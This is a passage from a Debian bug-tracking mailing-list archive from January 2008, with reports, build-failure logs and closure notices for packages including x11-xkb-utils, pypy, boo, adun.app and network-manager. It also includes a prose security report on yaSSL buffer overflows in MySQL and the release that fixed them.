for web browsers based on VLC vlc- multimedia player and streamer vlc-nox- multimedia player and streamer (without X support) vlc-plugin-alsa - dummy transitional package vlc-plugin-arts - aRts audio output plugin for VLC vlc-plugin-esd - Esound audio output plugin for VLC vlc-plugin-ggi - GGI video output plugin for VLC vlc-plugin-glide - Glide video output plugin for VLC vlc-plugin-sdl - SDL video and audio output plugin for VLC vlc-plugin-svgalib - SVGAlib video output plugin for VLC
Bug#462243: x11-xkb-utils: calling setxkbmap crashes X server
Package: x11-xkb-utils Version: 7.3+1 Severity: grave Justification: renders package unusable Hi, when I call setxkbmap (KDE does this for me) the X server crashes. FYI, I'm using Nvidia's drivers. If I'm not totaly wrong I've this problem since I updated on 19th of Janury. Cheers, André -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.23-1-amd64 (SMP w/2 CPU cores) Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages x11-xkb-utils depends on: ii cpp 4:4.2.2-2The GNU C preprocessor (cpp) ii libc6 2.7-6GNU C Library: Shared libraries ii libice6 2:1.0.4-1X11 Inter-Client Exchange library ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libx11-62:1.0.3-7X11 client-side library ii libxaw7 2:1.0.4-1X11 Athena Widget library ii libxkbfile1 1:1.0.4-1X11 keyboard file manipulation lib ii libxmu6 2:1.0.4-1X11 miscellaneous utility library ii libxt6 1:1.0.5-3X11 toolkit intrinsics library ii x11-common 1:7.3+10 X Window System (X.Org) infrastruc x11-xkb-utils recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#443726: Fixed upstream?
On Wed, Jan 23, 2008 at 12:23:24PM +0100, Per Olofsson wrote: Hi, Upstream's CHANGELOG[1] says: 0.8.8 - Make it work for current Xorg-GIT However, no version 0.8.8 has been released yet. Maybe we can ask upstream for a patch in the mean time? sure!!! will do. Thanka a lot for the note -- mattia :wq! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462247: hgsvn: should depends on python-elementtree
Package: hgsvn Version: 0.1.5-1 Severity: serious Justification: Policy 3.5 hgpullsvn command depends on python-elementtree package. Without it, hgpullsvn produces the following error: $ hgpullsvn Traceback (most recent call last): File /usr/bin/hgpullsvn, line 5, in ? from pkg_resources import load_entry_point File /usr/lib/python2.4/site-packages/pkg_resources.py, line 2561, in ? working_set.require(__requires__) File /usr/lib/python2.4/site-packages/pkg_resources.py, line 626, in require needed = self.resolve(parse_requirements(requirements)) File /usr/lib/python2.4/site-packages/pkg_resources.py, line 524, in resolve raise DistributionNotFound(req) # XXX put more info here pkg_resources.DistributionNotFound: elementtree -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.22-2-amd64 (SMP w/8 CPU cores) Locale: LANG=ja_JP.UTF-8, LC_CTYPE=ja_JP.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages hgsvn depends on: ii mercurial 0.9.5-3 Scalable distributed version contr ii python 2.4.4-6 An interactive high-level object-o ii python-setuptools 0.6c7-1 Python Distutils Enhancements ii python-support 0.7.6automated rebuilding support for p ii subversion 1.4.4dfsg1-1 Advanced version control system hgsvn recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462008: FTBFS on 64bit archs
tag 462008 =fixed-upstream thanks After discussing the issue with upstream, it seems that it has recently been fixed in subversion. I don't have the time to update the package to use a more recent subversion branch right now, but I'll do so next week. Thanks for your patience. -- Alexandre Fayolle LOGILAB, Paris (France) Formations Python, Zope, Plone, Debian: http://www.logilab.fr/formations Développement logiciel sur mesure: http://www.logilab.fr/services Informatique scientifique: http://www.logilab.fr/science signature.asc Description: Digital signature
Bug#462008: pypy: FTBFS on 64 bit arches: expects INT got Signed
tag 462008 +upstream
forwarded 462008 https://codespeak.net/issue/pypy-dev/issue353
thanks
On Mon, Jan 21, 2008 at 11:03:27PM +0100, Kurt Roeckx wrote:
Package: pypy
Version: 1.0.0-svn50146-2
Severity: serious
Hi,
Your package is failing to build on the 64 bit arches with this error:
[translation:ERROR] Error:
[translation:ERROR] Traceback (most recent call last):
[translation:ERROR]File pypy/translator/goal/translate.py, line 273, in
main
[translation:ERROR] drv.proceed(goals)
[...]
[translation:ERROR] TypeError': Struct tm { c_tm_sec, c_tm_min, c_tm_hour,
c_tm_mday, c_tm_mon, c_tm_year, c_tm_wday, c_tm_yday, c_tm_isdst, c__pad0,
c__pad1, c__pad2, c__pad3, c_tm_gmtoff, c_tm_zone } instance field
'c_tm_mon':[translation:ERROR] expects INT
[translation:ERROR] got Signed
[translation:ERROR] .. v3635 = setattr((* struct tm { c_tm_se...=...
}), ('c_tm_mon'), v3634)
[translation:ERROR] .. '(pypy.module.rctime.interp_time:189)_gettmarg'
All members of the C struct tm type should be int's, and I'm not sure
what the difference between an INT and Signed is.
Hi,
Last time I checked, 64bit archs were not well supported by upstream. I've
reported the issue to the pypy core team. Patches solving this issue are
welcome.
--
Alexandre Fayolle LOGILAB, Paris (France)
Formations Python, Zope, Plone, Debian: http://www.logilab.fr/formations
Développement logiciel sur mesure: http://www.logilab.fr/services
Informatique scientifique: http://www.logilab.fr/science
signature.asc
Description: Digital signature
Processed: Re: Bug#462008: pypy: FTBFS on 64 bit arches: expects INT got Signed
Processing commands for [EMAIL PROTECTED]: tag 462008 +upstream Bug#462008: pypy: FTBFS on 64 bit arches: expects INT got Signed There were no tags set. Tags added: upstream forwarded 462008 https://codespeak.net/issue/pypy-dev/issue353 Bug#462008: pypy: FTBFS on 64 bit arches: expects INT got Signed Noted your statement that Bug has been forwarded to https://codespeak.net/issue/pypy-dev/issue353. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: FTBFS on 64bit archs
Processing commands for [EMAIL PROTECTED]: tag 462008 =fixed-upstream Bug#462008: pypy: FTBFS on 64 bit arches: expects INT got Signed Tags were: upstream Tags set to: fixed-upstream thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462249: libaudio-flac-header-perl: FTBFS on armel, hppa, m68k, powerpc, s390, sparc
Package: libaudio-flac-header-perl Version: 1.9-1 Severity: serious Justification: no longer builds from source Since the architectures where testsuite fails have little in common, it could be that this bug is a bug in the testsuite rather than testsuite exposing bugs in libaudio-flac-header-perl code. Likely the testsuite is expecting something from the environment where it is being run, which is true on some buildd's but not on all. buildd logs: http://buildd.debian.org/pkg.cgi?pkg=libaudio-flac-header-perl make[1]: Entering directory `/build/buildd/libaudio-flac-header-perl-1.9' PERL_DL_NONLAZY=1 /usr/bin/perl -MExtUtils::Command::MM -e test_harness(0, 'inc', 'blib/lib', 'blib/arch') t/application-id.t t/basic.t t/id3tagged.t t/md5.t t/picture.t t/pod-coverage.t t/pod.t t/write.t t/application-idok t/basic. # Failed test in t/basic.t at line 56. # Failed test in t/basic.t at line 57. # Looks like you failed 2 tests of 33. dubious Test returned status 2 (wstat 512, 0x200) DIED. FAILED tests 32-33 Failed 2/33 tests, 93.94% okay t/id3tagged.ok t/md5...ok t/picture...ok t/pod-coverage..ok t/pod...ok t/write.ok Failed Test Stat Wstat Total Fail Failed List of Failed --- t/basic.t 2 512332 6.06% 32-33 Failed 1/8 test scripts, 87.50% okay. 2/76 subtests failed, 97.37% okay. make[1]: *** [test_dynamic] Error 255 -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.20.4 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: closing 446218
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.12 close 446218 4.3-20071124-1 Bug#446218: libgcc1-dbg: dependency on libgcc1 lacks epoch 'close' is deprecated; see http://www.debian.org/Bugs/Developer#closing. Bug marked as fixed in version 4.3-20071124-1, send any further explanations to Andreas Beckmann [EMAIL PROTECTED] End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462254: boo: Builds uninstallable packages from source
Package: boo Version: 0.8.0.2730-5 Severity: serious If I build boo using pbuilder (on amd64), the resulting packages fail to install with: ... Setting up libboo2.0-cil (0.8.0.2730-5+pb1) ... ! Assembly /usr/share/cli-common/policies.d/libboo2.0-cil/policy.1.0.Boo.Lang.Useful.dll does not exist dpkg: error processing libboo2.0-cil (--configure): subprocess post-installation script returned error exit status 1 Setting up libmono-data-tds2.0-cil (1.2.6+dfsg-5+pb1) ... Setting up libmono-sharpzip2.84-cil (1.2.6+dfsg-5+pb1) ... Setting up libmono-system-data2.0-cil (1.2.6+dfsg-5+pb1) ... Setting up libmono-system-web2.0-cil (1.2.6+dfsg-5+pb1) ... Setting up libmono2.0-cil (1.2.6+dfsg-5+pb1) ... dpkg: dependency problems prevent configuration of boo: boo depends on libboo2.0-cil (= 0.8.0.2730); however: Package libboo2.0-cil is not configured yet. dpkg: error processing boo (--configure): dependency problems - leaving unconfigured Errors were encountered while processing: libboo2.0-cil boo -- Daniel Schepler -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462256: libflickrnet: Builds uninstallable package from source
Package: libflickrnet Version: 25277-6 Severity: serious If I build libflickrnet using pbuilder (on amd64), the resulting package fails to install with: ... Setting up libflickrnet2.1.5-cil (25277-6+pb1) ... ! Assembly /usr/share/cli-common/policies.d/libflickrnet2.1.5-cil/policy.2.1.FlickrNet.dll does not exist dpkg: error processing libflickrnet2.1.5-cil (--configure): subprocess post-installation script returned error exit status 1 Errors were encountered while processing: libflickrnet2.1.5-cil -- Daniel Schepler -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#460873: marked as done (mysql-dfsg-5.0 multiple vulnerabilities in yassl included by mysql)
Your message dated Wed, 23 Jan 2008 13:32:06 + with message-id [EMAIL PROTECTED] and subject line Bug#460873: fixed in mysql-dfsg-5.0 5.0.51-3 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: mysql-dfsg-5.0 Severity: grave Tags: security Hi, the following CVE (Common Vulnerabilities Exposures) id was published for mysql-dfsg-5.0. CVE-2008-0227[0]: | yaSSL 1.7.5 and earlier, as used in MySQL and possibly other products, | allows remote attackers to cause a denial of service (crash) via a | Hello packet containing a large size value, which triggers a buffer | over-read in the HASHwithTransform::Update function in hash.cpp. CVE-2008-0226[0]: | Multiple buffer overflows in yaSSL 1.7.5 and earlier, as used in MySQL | and possibly other products, allow remote attackers to execute | arbitrary code via (1) the ProcessOldClientHello function in | handshake.cpp or (2) input_bufferamp; operatorgt;gt; in yassl_imp.cpp. If you fix this vulnerability please also include the CVE id in your changelog entry. For further information: [0] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0227 [0] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0226 Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. pgp9S7NV6G3eX.pgp Description: PGP signature ---End Message--- ---BeginMessage--- Source: mysql-dfsg-5.0 Source-Version: 5.0.51-3 We believe that the bug you reported is fixed in the latest version of mysql-dfsg-5.0, which is due to be installed in the Debian FTP archive: libmysqlclient15-dev_5.0.51-3_amd64.deb to pool/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.51-3_amd64.deb libmysqlclient15off_5.0.51-3_amd64.deb to pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51-3_amd64.deb mysql-client-5.0_5.0.51-3_amd64.deb to pool/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.51-3_amd64.deb mysql-client_5.0.51-3_all.deb to pool/main/m/mysql-dfsg-5.0/mysql-client_5.0.51-3_all.deb mysql-common_5.0.51-3_all.deb to pool/main/m/mysql-dfsg-5.0/mysql-common_5.0.51-3_all.deb mysql-dfsg-5.0_5.0.51-3.diff.gz to pool/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.51-3.diff.gz mysql-dfsg-5.0_5.0.51-3.dsc to pool/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.51-3.dsc mysql-server-5.0_5.0.51-3_amd64.deb to pool/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.51-3_amd64.deb mysql-server_5.0.51-3_all.deb to pool/main/m/mysql-dfsg-5.0/mysql-server_5.0.51-3_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Norbert Tretkowski [EMAIL PROTECTED] (supplier of updated mysql-dfsg-5.0 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 11:37:11 +0100 Source: mysql-dfsg-5.0 Binary: libmysqlclient15off libmysqlclient15-dev mysql-common mysql-client-5.0 mysql-server-5.0 mysql-server mysql-client Architecture: source all amd64 Version: 5.0.51-3 Distribution: unstable Urgency: high Maintainer: Debian MySQL Maintainers [EMAIL PROTECTED] Changed-By: Norbert Tretkowski [EMAIL PROTECTED] Description: libmysqlclient15-dev - MySQL database development files libmysqlclient15off - MySQL database client library mysql-client - MySQL database client (meta package depending on the latest versi mysql-client-5.0 - MySQL database client binaries mysql-common - MySQL database common files mysql-server - MySQL database server (meta package depending on the latest versi mysql-server-5.0 - MySQL database server binaries Closes: 458798 460402 460873 Changes: mysql-dfsg-5.0 (5.0.51-3) unstable; urgency=high . * SECURITY: Fix for CVE-2008-0226 and CVE-2008-0227: Three vulnerabilities in yaSSL versions 1.7.5 and earlier were discovered that could lead to a server crash or execution of unauthorized code. The exploit requires a server with yaSSL enabled and TCP/IP connections enabled, but does not require valid MySQL account credentials. The exploit does not apply to OpenSSL. (closes: #460873) * Fix LSB header in init scripts
Processed: Re: Bug#462243: x11-xkb-utils: calling setxkbmap crashes X server
Processing commands for [EMAIL PROTECTED]: reassign 462243 xserver-xorg-core 2:1.4.1~git20080118-1 Bug#462243: x11-xkb-utils: calling setxkbmap crashes X server Bug reassigned from package `x11-xkb-utils' to `xserver-xorg-core'. severity 462243 important Bug#462243: x11-xkb-utils: calling setxkbmap crashes X server Severity set to `important' from `grave' kthxbye Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462243: x11-xkb-utils: calling setxkbmap crashes X server
reassign 462243 xserver-xorg-core 2:1.4.1~git20080118-1 severity 462243 important kthxbye On Wed, Jan 23, 2008 at 13:09:47 +0100, Andre Woebbeking wrote: Package: x11-xkb-utils Version: 7.3+1 Severity: grave Justification: renders package unusable Hi, when I call setxkbmap (KDE does this for me) the X server crashes. A server crash is not a client bug. FYI, I'm using Nvidia's drivers. If I'm not totaly wrong I've this problem since I updated on 19th of Janury. Please send at least your X log, and xkb configuration. A backtrace from gdb would be even better. Cheers, Julien -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462261: init.d script doesn't terminate (laptop doesn't shutdown)
Package: network-manager Version: 0.6.5-4 Severity: critical the initscript doesn't work properly. This means that the laptop doesn't shutdown anymore properly. If you really want to stop the network manager you'll have to enter the command twice: First you'll have to cancel it after a while with strc-c, the second stop behaves then normal. (I don't know where the problem is, but it is very annyoing.) Greetings Winnie -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-rc6 (SMP w/2 CPU cores) Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages network-manager depends on: ii adduser 3.105 add and remove users and groups ii dbus 1.1.2-1 simple interprocess messaging syst ii dhcdbd 3.0-2 D-Bus interface to the ISC DHCP cl ii hal 0.5.10-5Hardware Abstraction Layer ii ifupdown 0.6.8 high level tools to configure netw ii iproute 20080108-1 Professional tools to control the ii iputils-arping 3:20071127-1Tool to send ICMP echo requests to ii libc62.7-6 GNU C Library: Shared libraries ii libdbus-1-3 1.1.2-1 simple interprocess messaging syst ii libdbus-glib-1-2 0.74-1 simple interprocess messaging syst ii libgcrypt11 1.4.0-3 LGPL Crypto library - runtime libr ii libglib2.0-0 2.14.5-2The GLib library of C routines ii libgpg-error01.4-2 library for common error values an ii libhal1 0.5.10-5Hardware Abstraction Layer - share ii libiw29 29-1Wireless tools - library ii libnl1-pre8 1.0~pre8-1 Library for dealing with netlink s ii libnm-util0 0.6.5-4 network management framework (shar ii lsb-base 3.1-24 Linux Standard Base 3.1 init scrip ii wpasupplicant0.6.1~git20071119-1 Client support for WPA and WPA2 (I Versions of packages network-manager recommends: ii network-manager-kde 1:0.2-2+b1 KDE systray applet for controlling -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462268: popcon: stay out of lenny for a while
Package: popularity-contest Version: 1.43 Severity: serious Justification: in the maintainer opinion. I would like to keep popularity-contest out of testing for 1) See how many people use sid versus testing 2) give us a chance to address the DOS issue in a better way. Cheers, -- Bill. [EMAIL PROTECTED] Imagine a large red swirl here. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459744: marked as done (adun.app - FTBFS: /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh: No such file or directory)
Your message dated Wed, 23 Jan 2008 14:47:03 + with message-id [EMAIL PROTECTED] and subject line Bug#450469: fixed in adun.app 0.8.2-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: adun.app Version: 0.6-3+b3 Severity: serious There was an error while trying to autobuild your package: Automatic build of adun.app_0.6-3+b3 on debian-31.osdl.marist.edu by sbuild/s390 98 [...] rm -f build-stamp . /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh; \ /usr/bin/make clean distclean /bin/sh: /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh: No such file or directory make: *** [clean] Error 1 dpkg-buildpackage: failure: /usr/bin/fakeroot debian/rules clean gave error exit status 2 ** Build finished at 20080106-0109 FAILED [dpkg-buildpackage died] ---End Message--- ---BeginMessage--- Source: adun.app Source-Version: 0.8.2-1 We believe that the bug you reported is fixed in the latest version of adun.app, which is due to be installed in the Debian FTP archive: adun.app_0.8.2-1.diff.gz to pool/main/a/adun.app/adun.app_0.8.2-1.diff.gz adun.app_0.8.2-1.dsc to pool/main/a/adun.app/adun.app_0.8.2-1.dsc adun.app_0.8.2-1_i386.deb to pool/main/a/adun.app/adun.app_0.8.2-1_i386.deb adun.app_0.8.2.orig.tar.gz to pool/main/a/adun.app/adun.app_0.8.2.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Andreas Tille [EMAIL PROTECTED] (supplier of updated adun.app package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Mon, 21 Jan 2008 19:01:19 +0100 Source: adun.app Binary: adun.app Architecture: source i386 Version: 0.8.2-1 Distribution: unstable Urgency: low Maintainer: Debian-Med Packaging Team [EMAIL PROTECTED] Changed-By: Andreas Tille [EMAIL PROTECTED] Description: adun.app - Molecular Simulator for GNUstep Closes: 416859 450469 454459 457723 Changes: adun.app (0.8.2-1) unstable; urgency=low . * QA upload. . [ Gürkan Sengün ] * New upstream version. * GNUstep transition. + Updated debian/rules. * Added a desktop file. * Applied patch to fix FTBFS with GCC 4.3, thanks to Martin Michlmayr. (Closes: #416859) . [ Yavor Doganov ] * debian/control (Maintainer): Package is orphaned, set to the Debian QA Group. (Standards-Version): Claim compliance with 3.7.3; no changes needed. (Build-Depends): Add dpatch; list all build-deps one per line. Bump debhelper to = 6. (Recommends): Add gnuplot. * debian/compat: Set to level 6. * debian/dirs: Delete. * debian/rules: Include /usr/share/dpatch/dpatch.make and adjust all rules to use it. Do not source GNUstep.sh (Closes: #450469). (LDFLAGS, d_app): Define. (OPTFLAG): New conditionally defined variable (support for `noopt'). (build-stamp): Prepend MAKELEVEL=0 before make so that conditionals in some of the makefiles relying on this internal variable actually work. (install): Install the private libraries in /usr/lib/adun.app. Remove the executable bit of some files and delete the empty directories. (binary-arch): Invoke dh_link to make all symlinks policy-compliant. Run `gsdh_gnustep' and move conditionally the Resources to /usr/share. * debian/lintian-override: Delete. * debian/UL.desktop: Add Comment field. * debian/menu (section): Prepend `Biology'. (longtitle): Add. * debian/README.Debian: Add; instructions how to build and install the plugins and the ResultsConverter tool. * debian/AdunCore.1: New manpage. * debian/AdunServer.1: Likewise. * debian/UL.1: Link to AdunCore and AdunServer. * debian/manpages: Add AdunCore.1 and AdunServer.1. * debian/patches/05_no-plugin-script.dpatch: New patch, do not install InstallPlugin.py. * debian/patches/10_gcc-4.3-inline.dpatch: Actually add this patch; modified since tbm's patch was for an old Adun version. * debian/patches/15_link-properly.dpatch: New, link all objects with the necessary libs
Bug#457723: marked as done (adun.app 0.6-3 (mipsel/unstable): FTBFS: assumes accessible $HOME)
Your message dated Wed, 23 Jan 2008 14:47:03 + with message-id [EMAIL PROTECTED] and subject line Bug#457723: fixed in adun.app 0.8.2-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: adun.app Version: 0.6-3 Severity: serious Hi Gürkan, adun.app is failing to build on mipsel because of a wrong assumption that $HOME points to a readable location: [...] Making all for library libULFramework... make[4]: stat: /nonexistent/.GNUstep.conf: Permission denied Compiling file PDBConfigurationBuilder.m ... cc1obj: error: /nonexistent/GNUstep/Library/Headers: Permission denied make[4]: *** [shared_obj/PDBConfigurationBuilder.o] Error 1 make[3]: *** [libULFramework.all.library.variables] Error 2 make[3]: Leaving directory `/build/buildd/adun.app-0.6/UL/ULFramework' [...] A full build log can be found at http://buildd.debian.org/fetch.cgi?pkg=adun.apparch=mipselver=0.6-3%2Bb1stamp=1190771392file=logas=raw. If this is a bug in a build-dependency of adun.app, it would be appropriate to export HOME to a subdirectory of the build tree and clean this directory on debian/rules clean; but Debian package builds should not be dependent on files not part of their build dependencies, including files under $HOME. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] ---End Message--- ---BeginMessage--- Source: adun.app Source-Version: 0.8.2-1 We believe that the bug you reported is fixed in the latest version of adun.app, which is due to be installed in the Debian FTP archive: adun.app_0.8.2-1.diff.gz to pool/main/a/adun.app/adun.app_0.8.2-1.diff.gz adun.app_0.8.2-1.dsc to pool/main/a/adun.app/adun.app_0.8.2-1.dsc adun.app_0.8.2-1_i386.deb to pool/main/a/adun.app/adun.app_0.8.2-1_i386.deb adun.app_0.8.2.orig.tar.gz to pool/main/a/adun.app/adun.app_0.8.2.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Andreas Tille [EMAIL PROTECTED] (supplier of updated adun.app package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Mon, 21 Jan 2008 19:01:19 +0100 Source: adun.app Binary: adun.app Architecture: source i386 Version: 0.8.2-1 Distribution: unstable Urgency: low Maintainer: Debian-Med Packaging Team [EMAIL PROTECTED] Changed-By: Andreas Tille [EMAIL PROTECTED] Description: adun.app - Molecular Simulator for GNUstep Closes: 416859 450469 454459 457723 Changes: adun.app (0.8.2-1) unstable; urgency=low . * QA upload. . [ Gürkan Sengün ] * New upstream version. * GNUstep transition. + Updated debian/rules. * Added a desktop file. * Applied patch to fix FTBFS with GCC 4.3, thanks to Martin Michlmayr. (Closes: #416859) . [ Yavor Doganov ] * debian/control (Maintainer): Package is orphaned, set to the Debian QA Group. (Standards-Version): Claim compliance with 3.7.3; no changes needed. (Build-Depends): Add dpatch; list all build-deps one per line. Bump debhelper to = 6. (Recommends): Add gnuplot. * debian/compat: Set to level 6. * debian/dirs: Delete. * debian/rules: Include /usr/share/dpatch/dpatch.make and adjust all rules to use it. Do not source GNUstep.sh (Closes: #450469). (LDFLAGS, d_app): Define. (OPTFLAG): New conditionally defined variable (support for `noopt'). (build-stamp): Prepend MAKELEVEL=0 before make so that conditionals in some of the makefiles relying on this internal variable actually work. (install): Install the private libraries in /usr/lib/adun.app. Remove the executable bit of some files and delete the empty directories. (binary-arch): Invoke dh_link to make all symlinks policy-compliant. Run `gsdh_gnustep' and move conditionally the Resources to /usr/share. * debian/lintian-override: Delete. * debian/UL.desktop: Add Comment field. * debian/menu (section): Prepend
Bug#450469: marked as done (adun.app: FTBFS: /bin/sh: /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh: No such file or directory)
Your message dated Wed, 23 Jan 2008 14:47:03 + with message-id [EMAIL PROTECTED] and subject line Bug#450469: fixed in adun.app 0.8.2-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: adun.app version: 0.6-3 Severity: serious User: [EMAIL PROTECTED] Usertags: qa-ftbfs-20071106 qa-ftbfs Justification: FTBFS on i386 Hi, During a rebuild of all packages in sid, your package failed to build on i386. Relevant part: /usr/bin/fakeroot debian/rules clean dh_testdir dh_testroot rm -f build-stamp . /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh; \ /usr/bin/make clean distclean /bin/sh: /usr/lib/GNUstep/System/Library/Makefiles/GNUstep.sh: No such file or directory make: *** [clean] Error 1 dpkg-buildpackage: failure: /usr/bin/fakeroot debian/rules clean gave error exit status 2 The full build log is available from http://people.debian.org/~lucas/logs/2007/11/06 A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! About the archive rebuild: The rebuild was done on about 50 AMD64 nodes of the Grid'5000 platform, using a clean chroot containing a sid i386 environment. Internet was not accessible from the build systems. -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | ---End Message--- ---BeginMessage--- Source: adun.app Source-Version: 0.8.2-1 We believe that the bug you reported is fixed in the latest version of adun.app, which is due to be installed in the Debian FTP archive: adun.app_0.8.2-1.diff.gz to pool/main/a/adun.app/adun.app_0.8.2-1.diff.gz adun.app_0.8.2-1.dsc to pool/main/a/adun.app/adun.app_0.8.2-1.dsc adun.app_0.8.2-1_i386.deb to pool/main/a/adun.app/adun.app_0.8.2-1_i386.deb adun.app_0.8.2.orig.tar.gz to pool/main/a/adun.app/adun.app_0.8.2.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Andreas Tille [EMAIL PROTECTED] (supplier of updated adun.app package) 